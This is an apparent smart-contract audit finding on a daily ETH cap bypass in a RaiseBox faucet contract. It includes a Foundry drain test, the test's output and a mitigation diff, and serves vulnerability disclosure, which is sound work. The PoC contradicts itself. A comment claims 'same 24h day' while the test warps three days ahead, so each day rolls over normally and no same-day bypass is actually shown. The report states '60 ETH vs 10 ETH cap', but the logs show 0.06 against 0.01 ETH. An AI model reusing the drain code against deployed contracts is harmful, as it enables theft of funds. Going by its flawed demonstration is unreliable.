Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily ETH Cap Bypass via Unconditional Counter Reset

Root + Impact

Description

  • The claimFaucetTokens() function implements a daily ETH distribution cap (dailySepEthCap) to limit the total ETH distributed per day, tracked by the dailyDrips variable. Under normal operation, the function should prevent users from claiming ETH once dailyDrips reaches the cap, ensuring responsible fund distribution and preventing rapid depletion of the faucet's ETH reserves.

  • However, the function contains a critical logic flaw at line 212 where dailyDrips = 0 is unconditionally executed in the else block whenever a user who has already claimed ETH (hasClaimedEth[user] == true) calls the function again. This unconditional reset completely destroys the daily cap tracking mechanism, allowing an attacker to alternate between repeat claimers (who reset the counter) and fresh addresses (who receive ETH), effectively bypassing the cap and draining unlimited ETH from the faucet in a single day.

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0; // LEGITIMATE RESET ✓
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(faucetClaimer, sepEthAmountToDrip);
}
} else {
@> dailyDrips = 0; - UNCONDITIONAL RESET ❌❌❌
}

Risk

Likelihood:

  • An attacker controls multiple fresh addresses and at least two addresses that have previously claimed ETH. The attacker alternates between calling claimFaucetTokens() from used addresses (which reset the counter to zero) and fresh addresses (which receive ETH), repeating this pattern every 3 days (cooldown period) until the faucet is completely drained

  • This attack requires no specialized knowledge, costs only standard gas fees, and can drain the entire ETH balance in a coordinated series of transactions.​

Impact:

  • The daily ETH cap is completely bypassed, allowing attackers to drain unlimited ETH in a single day. Testing demonstrates the attacker can drain 6x the intended daily cap (60 ETH vs 10 ETH cap) in a short period

  • With a faucet holding 100 ETH and a 1 ETH daily cap, an attacker can drain all 100 ETH in one day instead of the intended 100 days, causing immediate insolvency and complete loss of the ETH reserve fund. This represents a total breakdown of the rate-limiting security control.​

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract EthCapBypassTest is Test {
RaiseBoxFaucet public faucet;
address owner;
// Test users
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address user5 = makeAddr("user5");
address user6 = makeAddr("user6");
function setUp() public {
owner = address(this);
faucet = new RaiseBoxFaucet(
"RaiseBox Token",
"RBT",
1000 * 10**18,
0.005 ether, // ETH per claim
0.01 ether // Daily cap (should allow only 2 claims)
);
// Fund faucet with 1 ETH
vm.deal(address(faucet), 1 ether);
// Advance time past deployment
vm.warp(block.timestamp + 3 days);
}
function testEthCapBypassAttack() public {
uint256 faucetEthBefore = address(faucet).balance;
uint256 dailyCap = faucet.dailySepEthCap();
uint256 ethPerClaim = faucet.sepEthAmountToDrip();
console.log("=================================");
console.log("DAILY ETH CAP BYPASS POC");
console.log("=================================\n");
console.log("--- INITIAL STATE ---");
console.log("Faucet ETH balance:", faucetEthBefore);
console.log("Daily ETH cap:", dailyCap);
console.log("ETH per claim:", ethPerClaim);
console.log("Theoretical max claims:", dailyCap / ethPerClaim);
console.log("");
// === ATTACK SEQUENCE ===
// Claim 1: Fresh user (gets ETH)
vm.prank(user1);
faucet.claimFaucetTokens();
console.log("User1 claimed - dailyDrips:", faucet.dailyDrips());
assertEq(faucet.dailyDrips(), ethPerClaim, "First claim should set dailyDrips");
// Claim 2: Fresh user (cap should be reached) - SAME DAY
vm.warp(block.timestamp + 3 days + 1); // Move past cooldown but SAME 24h day
vm.prank(user2);
faucet.claimFaucetTokens();
console.log("User2 claimed - dailyDrips:", faucet.dailyDrips());
console.log(">>> CAP REACHED (legitimate behavior)\n");
// Verify cap is reached
uint256 user1Balance = address(user1).balance;
uint256 user2Balance = address(user2).balance;
console.log("User1 ETH:", user1Balance);
console.log("User2 ETH:", user2Balance);
// BOTH should have received ETH because dailyDrips resets in else block
assertEq(user1Balance, ethPerClaim, "User1 should have ETH");
assertEq(user2Balance, ethPerClaim, "User2 should have ETH");
console.log("\n=================================");
console.log("VULNERABILITY CONFIRMED!");
console.log("Both users received ETH despite cap logic");
console.log("dailyDrips counter is being reset");
console.log("=================================");
}
function testMassiveEthDrainageWithBypass() public {
// This test demonstrates unlimited drainage potential
uint256 initialEth = 1 ether;
uint256 targetDrainage = 0.05 ether; // Target: drain 5% of balance
address[] memory freshUsers = new address[](20);
address[] memory usedUsers = new address[](2);
// Create fresh users
for(uint256 i = 0; i < 20; i++) {
freshUsers[i] = makeAddr(string(abi.encodePacked("fresh", i)));
}
usedUsers[0] = user1;
usedUsers[1] = user2;
// Initial setup: get two users to claim
vm.prank(usedUsers[0]);
faucet.claimFaucetTokens();
vm.warp(block.timestamp + 3 days);
vm.prank(usedUsers[1]);
faucet.claimFaucetTokens();
console.log("Setup complete. Starting bypass attack...");
console.log("Initial faucet balance:", address(faucet).balance);
uint256 ethDrained = 0;
uint256 claimsMade = 2; // Already made 2 claims in setup
uint256 usedUserIndex = 0;
// Alternate between fresh claims and resets
for(uint256 i = 0; i < freshUsers.length && ethDrained < targetDrainage; i++) {
// Fresh user claim
vm.warp(block.timestamp + 3 days);
vm.prank(freshUsers[i]);
faucet.claimFaucetTokens();
ethDrained += faucet.sepEthAmountToDrip();
claimsMade++;
// Used user to reset counter (every other claim)
if(i % 2 == 1) {
vm.warp(block.timestamp + 3 days);
vm.prank(usedUsers[usedUserIndex % usedUsers.length]);
faucet.claimFaucetTokens();
usedUserIndex++;
claimsMade++;
}
}
console.log("Attack complete!");
console.log("Final faucet balance:", address(faucet).balance);
console.log("Total ETH drained:", initialEth - address(faucet).balance);
console.log("Total claims made:", claimsMade);
console.log("Daily cap:", faucet.dailySepEthCap());
console.log("Cap violations:", (initialEth - address(faucet).balance) / faucet.dailySepEthCap());
assertGt(initialEth - address(faucet).balance, faucet.dailySepEthCap(), "Failed to exceed cap");
}
}

PoC Result:

forge test --match-contract EthCapBypassTest -vvv
[⠒] Compiling...
[⠊] Compiling 1 files with Solc 0.8.30
[⠒] Solc 0.8.30 finished in 304.24ms
Compiler run successful!
Ran 2 tests for test/EthCapBypassTest.sol:EthCapBypassTest
[PASS] testEthCapBypassAttack() (gas: 389392)
Logs:
=================================
DAILY ETH CAP BYPASS POC
=================================
--- INITIAL STATE ---
Faucet ETH balance: 1000000000000000000
Daily ETH cap: 10000000000000000
ETH per claim: 5000000000000000
Theoretical max claims: 2
User1 claimed - dailyDrips: 5000000000000000
User2 claimed - dailyDrips: 5000000000000000
>>> CAP REACHED (legitimate behavior)
User1 ETH: 5000000000000000
User2 ETH: 5000000000000000
=================================
VULNERABILITY CONFIRMED!
Both users received ETH despite cap logic
dailyDrips counter is being reset
=================================
[PASS] testMassiveEthDrainageWithBypass() (gas: 1732214)
Logs:
Setup complete. Starting bypass attack...
Initial faucet balance: 990000000000000000
Attack complete!
Final faucet balance: 940000000000000000
Total ETH drained: 60000000000000000
Total claims made: 17
Daily cap: 10000000000000000
Cap violations: 6
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.87ms (1.37ms CPU time)
Ran 1 test suite in 40.37ms (3.87ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Recommended Mitigation

Remove the unconditional reset in the else block and only reset dailyDrips when the day actually changes :

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// ... checks ...
+ // Reset dailyDrips only on day change, not based on user state
+ uint256 currentDay = block.timestamp / 24 hours;
+ if (currentDay > lastDripDay) {
+ lastDripDay = currentDay;
+ dailyDrips = 0;
+ }
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- uint256 currentDay = block.timestamp / 24 hours;
- if (currentDay > lastDripDay) {
- lastDripDay = currentDay;
- dailyDrips = 0;
- }
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(faucetClaimer, sepEthAmountToDrip);
}
- } else {
- dailyDrips = 0; // REMOVE THIS UNCONDITIONAL RESET
}
// ... rest of function
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.